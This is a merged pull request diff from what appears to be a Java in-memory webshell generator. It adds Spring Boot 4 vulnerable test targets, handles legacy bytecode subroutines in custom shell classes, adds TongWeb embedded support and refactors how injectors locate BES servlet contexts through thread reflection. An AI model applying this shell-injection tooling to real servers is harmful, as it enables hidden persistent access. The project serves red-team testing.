Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions .github/workflows/memshell-integration-test.yml
Original file line number Diff line number Diff line change
Expand Up @@ -44,9 +44,9 @@ jobs:
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar"
- middleware: "xxljob"
depend_tasks: ""
- middleware: "struts2"
Expand Down
4 changes: 3 additions & 1 deletion .github/workflows/probe-integration-test.yml
Original file line number Diff line number Diff line change
Expand Up @@ -41,7 +41,9 @@ jobs:
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar"
- middleware: "struts2"
depend_tasks: ":vul:vul-struts2:war"
runs-on: ubuntu-22.04
Expand Down
4 changes: 3 additions & 1 deletion .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -61,4 +61,6 @@ integration-test/**/apusic
integration-test/**/bes
integration-test/**/tongweb
integration-test/**/inforsuite
integration-test/**/primeton
integration-test/**/primeton
vul/vul-springboot3-bes
vul/vul-springboot3-tongweb
1 change: 1 addition & 0 deletions Dockerfile
Original file line number Diff line number Diff line change
Expand Up @@ -17,6 +17,7 @@ ENV VITE_APP_API_URL=${CONTEXT_PATH} \
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui

COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/
COPY --from=source /usr/src/web/vendor/cfr /usr/src/web/vendor/cfr

RUN bun install --frozen-lockfile

Expand Down
2 changes: 1 addition & 1 deletion build.gradle.kts
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@ idea {
}
}

version = "2.9.0"
version = "2.10.0-SNAPSHOT"

tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral")
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,10 @@ protected ByteBuddyShellGenerator(ShellConfig shellConfig, T shellToolConfig) {

protected abstract DynamicType.Builder<?> getBuilder();

protected int getTargetJreVersion() {
return shellConfig.getTargetJreVersion();
}

protected byte[] postProcessBytes(byte[] classBytes) {
return classBytes;
}
Expand All @@ -43,7 +47,7 @@ public byte[] getBytes() {

builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig)
.name(shellClassName)
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
.visit(new TargetJreVersionVisitorWrapper(getTargetJreVersion()));

try (DynamicType.Unloaded<?> unloaded = builder.make()) {
byte[] bytes = postProcessBytes(unloaded.getBytes());
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,10 @@
import net.bytebuddy.dynamic.ClassFileLocator;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.jar.asm.ClassReader;
import net.bytebuddy.jar.asm.ClassVisitor;
import net.bytebuddy.jar.asm.Label;
import net.bytebuddy.jar.asm.MethodVisitor;
import net.bytebuddy.jar.asm.Opcodes;
import net.bytebuddy.pool.TypePool;
import org.apache.commons.lang3.StringUtils;

Expand All @@ -17,6 +21,7 @@
* @since 2025/3/18
*/
public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig> {
private boolean containsSubroutines;

public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
super(shellConfig, customConfig);
Expand All @@ -27,6 +32,7 @@ protected DynamicType.Builder<?> getBuilder() {
String shellClassBase64 = shellToolConfig.getShellClassBase64();
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
ClassReader classReader = new ClassReader(classBytes);
containsSubroutines = containsSubroutines(classReader);
String className = classReader.getClassName().replace('/', '.');
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
shellToolConfig.setShellClassName(className);
Expand All @@ -43,4 +49,38 @@ protected DynamicType.Builder<?> getBuilder() {
return new ByteBuddy()
.redefine(typeDescription, compoundLocator);
}

@Override
protected int getTargetJreVersion() {
// Byte Buddy cannot emit a class version newer than Java 5 when the
// source bytecode contains legacy jsr/ret subroutines. Keep such
// custom classes at Java 5; Java 6+ runtimes can load them as well.
return containsSubroutines ? Opcodes.V1_5 : super.getTargetJreVersion();
}

private static boolean containsSubroutines(ClassReader classReader) {
final boolean[] found = {false};
classReader.accept(new ClassVisitor(Opcodes.ASM9) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
return new MethodVisitor(Opcodes.ASM9) {
@Override
public void visitJumpInsn(int opcode, Label label) {
if (opcode == Opcodes.JSR) {
found[0] = true;
}
}

@Override
public void visitVarInsn(int opcode, int var) {
if (opcode == Opcodes.RET) {
found[0] = true;
}
}
};
}
}, ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES);
return found[0];
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -45,6 +45,7 @@ public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfi
public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor";
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
public static final String TONGWEB_EMBEDDED_VALVE_PACKAGE = "com.tongweb.container";

public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
String packageName = null;
Expand All @@ -53,7 +54,7 @@ public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, Ab
}
if (shell instanceof TongWeb) {
if (serverVersion == null) {
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8'] for shellConfig.serverVersion");
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8', '7.E'] for shellConfig.serverVersion");
}
switch (serverVersion) {
case "6":
Expand All @@ -65,8 +66,11 @@ public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, Ab
case "8":
packageName = TONGWEB8_VALVE_PACKAGE;
break;
case "7.E":
packageName = TONGWEB_EMBEDDED_VALVE_PACKAGE;
break;
default:
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8'] for shellConfig.serverVersion");
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8', '7.E'] for shellConfig.serverVersion");
}
}
if (StringUtils.isNotBlank(packageName)) {
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -85,10 +85,27 @@ public Set<Object> getContext() throws Exception {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
for (Object value : childrenMap.values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(value, "children")).values());
}
} else if (thread.getName().contains("AppServer-utility")) {
// BES 10 / BES 11: AppServer-utility thread fallback.
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
Object target = getFieldValue(thread, "target");
try {
target = getFieldValue(target, "wrappedRunnable");
} catch (Throwable ignored) {
}
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(target, "this$0"), "workQueue");
for (Object task : workQueue) {
Object runnable = getFieldValue(getFieldValue(task, "callable"), "task");
if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(runnable, "this$0"), "children");
for (Object host : childrenMap.values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
}
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
Expand All @@ -102,47 +119,6 @@ public Set<Object> getContext() throws Exception {
}
}
}
// BES 10 / BES 11: AppServer-utility thread fallback.
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
if (contexts.isEmpty()) {
for (Thread thread : threads) {
try {
if (!thread.getName().contains("AppServer-utility")) {
continue;
}
Object target = getFieldValue(thread, "target");
Object realTarget = target;
try {
realTarget = getFieldValue(target, "wrappedRunnable");
} catch (Throwable ignored) {
}
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(realTarget, "this$0"), "workQueue");
for (Object task : workQueue) {
if (task == null) {
continue;
}
try {
Object callable = getFieldValue(task, "callable");
Object runnable;
try {
runnable = getFieldValue(callable, "task");
} catch (Throwable ignored) {
runnable = callable;
}
if (runnable == null || !runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
continue;
}
Object engine = getFieldValue(runnable, "this$0");
for (Object host : ((Map<?, ?>) getFieldValue(engine, "children")).values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
}
} catch (Throwable ignored) {
}
}
} catch (Throwable ignored) {
}
}
}
return contexts;
}

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -77,10 +77,27 @@ public Set<Object> getContext() throws Exception {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
for (Object value : childrenMap.values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(value, "children")).values());
}
} else if (thread.getName().contains("AppServer-utility")) {
// BES 10 / BES 11: AppServer-utility thread fallback.
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
Object target = getFieldValue(thread, "target");
try {
target = getFieldValue(target, "wrappedRunnable");
} catch (Throwable ignored) {
}
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(target, "this$0"), "workQueue");
for (Object task : workQueue) {
Object runnable = getFieldValue(getFieldValue(task, "callable"), "task");
if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(runnable, "this$0"), "children");
for (Object host : childrenMap.values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
}
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
Expand All @@ -94,47 +111,6 @@ public Set<Object> getContext() throws Exception {
}
}
}
// BES 10 / BES 11: AppServer-utility thread fallback.
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
if (contexts.isEmpty()) {
for (Thread thread : threads) {
try {
if (!thread.getName().contains("AppServer-utility")) {
continue;
}
Object target = getFieldValue(thread, "target");
Object realTarget = target;
try {
realTarget = getFieldValue(target, "wrappedRunnable");
} catch (Throwable ignored) {
}
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(realTarget, "this$0"), "workQueue");
for (Object task : workQueue) {
if (task == null) {
continue;
}
try {
Object callable = getFieldValue(task, "callable");
Object runnable;
try {
runnable = getFieldValue(callable, "task");
} catch (Throwable ignored) {
runnable = callable;
}
if (runnable == null || !runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
continue;
}
Object engine = getFieldValue(runnable, "this$0");
for (Object host : ((Map<?, ?>) getFieldValue(engine, "children")).values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
}
} catch (Throwable ignored) {
}
}
} catch (Throwable ignored) {
}
}
}
return contexts;
}

Expand Down
Loading
Loading